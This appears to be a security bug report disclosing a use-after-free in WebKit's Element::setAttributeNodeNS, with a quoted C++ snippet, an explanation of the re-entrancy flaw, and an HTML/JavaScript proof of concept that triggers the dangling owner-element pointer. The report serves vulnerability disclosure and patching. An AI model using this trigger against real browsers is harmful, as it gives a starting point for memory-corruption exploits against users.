WebKit: Element::setAttributeNodeNS UAF

Issue description

Here's a snippet of Element::setAttributeNodeNS.
ExceptionOr<RefPtr<Attr>> Element::setAttributeNodeNS(Attr& attrNode)
{
...
setAttributeInternal(index, attrNode.qualifiedName(), attrNode.value(), NotInSynchronizationOfLazyAttribute);
attrNode.attachToElement(*this);
treeScope().adoptIfNeeded(attrNode);
ensureAttrNodeListForElement(*this).append(&attrNode);
return WTFMove(oldAttrNode);
}
|setAttributeInternal| may execute arbitrary JavaScript. If |setAttributeNodeNS| is called again in |setAttributeInternal|, there will be two |Attr| that has the same owner element and the same name after the first |setAttributeNodeNS| call. One of the |Attr|s will hold the raw pointer of the owner element even if the owner element is freed.
PoC:
<body>
<script>
function gc() {
for (let i = 0; i < 0x40; i++) {
new ArrayBuffer(0x1000000);
}
}
window.callback = () => {
window.callback = null;
d.setAttributeNodeNS(src);
f.setAttributeNodeNS(document.createAttribute('src'));
};
let src = document.createAttribute('src');
src.value = 'javascript:parent.callback()';
let d = document.createElement('div');
let f = document.body.appendChild(document.createElement('iframe'));
f.setAttributeNodeNS(src);
f.remove();
f = null;
src = null;
gc();
alert(d.attributes[0].ownerElement);
</script>
</body>
This bug is subject to a 90 day disclosure deadline. After 90 days elapseor a patch has been made broadly available, the bug report will becomevisible to the public.